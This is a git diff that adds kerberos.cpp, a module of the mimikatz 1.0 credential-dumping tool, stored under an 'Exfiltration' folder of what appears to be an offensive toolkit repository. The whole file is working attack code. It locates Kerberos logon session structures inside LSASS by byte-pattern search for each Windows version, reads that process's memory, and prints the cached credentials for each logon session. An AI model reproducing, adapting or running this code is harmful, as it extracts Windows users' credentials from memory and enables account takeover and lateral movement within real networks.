1 files changed, 135 insertions, 0 deletions
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.cpp
new file mode 100644
index 0000000..dae52d2
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.cpp
@@ -0,0 +1,135 @@
+/*	Benjamin DELPY `gentilkiwi`
+	http://blog.gentilkiwi.com
+	benjamin@gentilkiwi.com
+	Licence    : http://creativecommons.org/licenses/by/3.0/fr/
+	Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "kerberos.h"
+#include "..\..\global.h"
+mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_kerberos::pModKERBEROS = NULL;
+mod_mimikatz_sekurlsa_kerberos::PKIWI_KERBEROS_LOGON_SESSION mod_mimikatz_sekurlsa_kerberos::KerbLogonSessionList = NULL; //reinterpret_cast<mod_mimikatz_sekurlsa_kerberos::PKIWI_KERBEROS_LOGON_SESSION>(NULL);
+long mod_mimikatz_sekurlsa_kerberos::offsetMagic = 0;
+PRTL_AVL_TABLE mod_mimikatz_sekurlsa_kerberos::KerbGlobalLogonSessionTable = NULL; //reinterpret_cast<PRTL_AVL_TABLE>(NULL);
+
+bool mod_mimikatz_sekurlsa_kerberos::getKerberos(vector<wstring> * arguments)
+{
+	vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider;
+	monProvider.push_back(make_pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(getKerberosLogonData, wstring(L"kerberos")));
+	return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider);
+}
+
+bool mod_mimikatz_sekurlsa_kerberos::searchKerberosFuncs()
+{
+#ifdef _M_X64
+	BYTE PTRN_WALL_KerbUnloadLogonSessionTable[]= {0x48, 0x8b, 0x18, 0x48, 0x8d, 0x0d};
+	LONG OFFS_WALL_KerbUnloadLogonSessionTable	= sizeof(PTRN_WALL_KerbUnloadLogonSessionTable);
+
+	BYTE PTRN_WALL_KerbFreeLogonSessionList[]	= {0x48, 0x3b, 0xfe, 0x0f, 0x84};
+	LONG OFFS_WALL_KerbFreeLogonSessionList		= -4;
+#elif defined _M_IX86
+	BYTE PTRN_WNO8_KerbUnloadLogonSessionTable[]= {0x85, 0xc0, 0x74, 0x1f, 0x53};
+	LONG OFFS_WNO8_KerbUnloadLogonSessionTable	= -(3 + 4);
+	BYTE PTRN_WIN8_KerbUnloadLogonSessionTable[]= {0x85, 0xc0, 0x74, 0x2b, 0x57}; // 2c au lieu de 2b pour avant le RC
+	LONG OFFS_WIN8_KerbUnloadLogonSessionTable	= -(6 + 4);
+
+	BYTE PTRN_WALL_KerbFreeLogonSessionList[]	= {0xeb, 0x0f, 0x6a, 0x01, 0x57, 0x56, 0xe8};
+	LONG OFFS_WALL_KerbFreeLogonSessionList		= -4;
+#endif
+	if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModKERBEROS && !(KerbGlobalLogonSessionTable || KerbLogonSessionList))
+	{
+		PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0;
+
+		if(mod_system::GLOB_Version.dwMajorVersion < 6)
+		{
+			pointeur= reinterpret_cast<PBYTE *>(&KerbLogonSessionList);
+			pattern	= PTRN_WALL_KerbFreeLogonSessionList;
+			taille	= sizeof(PTRN_WALL_KerbFreeLogonSessionList);
+			offset	= OFFS_WALL_KerbFreeLogonSessionList;
+
+			if(mod_system::GLOB_Version.dwMinorVersion < 2)
+				offsetMagic = 8;
+		}
+		else
+		{
+			pointeur= reinterpret_cast<PBYTE *>(&KerbGlobalLogonSessionTable);
+
+#ifdef _M_X64
+			pattern	= PTRN_WALL_KerbUnloadLogonSessionTable;
+			taille	= sizeof(PTRN_WALL_KerbUnloadLogonSessionTable);
+			offset	= OFFS_WALL_KerbUnloadLogonSessionTable;
+#elif defined _M_IX86
+			if(mod_system::GLOB_Version.dwBuildNumber < 8000)
+			{
+				pattern	= PTRN_WNO8_KerbUnloadLogonSessionTable;
+				taille	= sizeof(PTRN_WNO8_KerbUnloadLogonSessionTable);
+				offset	= OFFS_WNO8_KerbUnloadLogonSessionTable;
+			}
+			else
+			{
+				if(mod_system::GLOB_Version.dwBuildNumber < 8400) // petite correction pour avant la RC
+					PTRN_WIN8_KerbUnloadLogonSessionTable[3] = 0x2c;
+				pattern	= PTRN_WIN8_KerbUnloadLogonSessionTable;
+				taille	= sizeof(PTRN_WIN8_KerbUnloadLogonSessionTable);
+				offset	= OFFS_WIN8_KerbUnloadLogonSessionTable;
+			}
+#endif
+		}
+
+		if(HMODULE monModule = LoadLibrary(L"kerberos"))
+		{
+			MODULEINFO mesInfos;
+			if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO)))
+			{
+				mod_memory::genericPatternSearch(pointeur, L"kerberos", pattern, taille, offset);
+				*pointeur += pModKERBEROS->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
+			}
+			FreeLibrary(monModule);
+		}
+	}
+	return (pModKERBEROS && (KerbGlobalLogonSessionTable || KerbLogonSessionList));
+}
+
+bool WINAPI mod_mimikatz_sekurlsa_kerberos::getKerberosLogonData(__in PLUID logId, __in bool justSecurity)
+{
+	if(searchKerberosFuncs())
+	{
+		PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL;
+		DWORD taille;
+		BYTE * monBuff = NULL;
+		
+		if(KerbGlobalLogonSessionTable)
+		{
+			taille = sizeof(KIWI_KERBEROS_PRIMARY_CREDENTIAL);
+			monBuff = new BYTE[taille];
+			
+			if(PKIWI_KERBEROS_PRIMARY_CREDENTIAL pLogSession = reinterpret_cast<PKIWI_KERBEROS_PRIMARY_CREDENTIAL>(mod_mimikatz_sekurlsa::getPtrFromAVLByLuid(KerbGlobalLogonSessionTable, FIELD_OFFSET(KIWI_KERBEROS_PRIMARY_CREDENTIAL, LocallyUniqueIdentifier), logId)))
+			{
+				if(mod_memory::readMemory(pLogSession, monBuff, taille, mod_mimikatz_sekurlsa::hLSASS))
+				{
+					pLogSession = reinterpret_cast<PKIWI_KERBEROS_PRIMARY_CREDENTIAL>(monBuff);
+					mesCreds =  &pLogSession->credentials;
+				}
+			}
+		}
+		else
+		{
+			taille = sizeof(KIWI_KERBEROS_LOGON_SESSION) + offsetMagic;
+			monBuff = new BYTE[taille];
+			if(PKIWI_KERBEROS_LOGON_SESSION pLogSession = reinterpret_cast<PKIWI_KERBEROS_LOGON_SESSION>(mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast<PLIST_ENTRY>(KerbLogonSessionList), FIELD_OFFSET(KIWI_KERBEROS_LOGON_SESSION, LocallyUniqueIdentifier) + offsetMagic, logId)))
+			{
+				if(mod_memory::readMemory(pLogSession, monBuff, taille, mod_mimikatz_sekurlsa::hLSASS))
+				{
+					pLogSession = reinterpret_cast<PKIWI_KERBEROS_LOGON_SESSION>(monBuff);
+					if(offsetMagic != 0)
+						pLogSession = reinterpret_cast<PKIWI_KERBEROS_LOGON_SESSION>(reinterpret_cast<PBYTE>(pLogSession) + offsetMagic);
+					mesCreds =  &pLogSession->credentials;
+				}
+			}
+		}
+		mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity);
+		delete [] monBuff;
+	}
+	else (*outputStream) << L"n.a. (kerberos KO)";
+
+	return true;
+}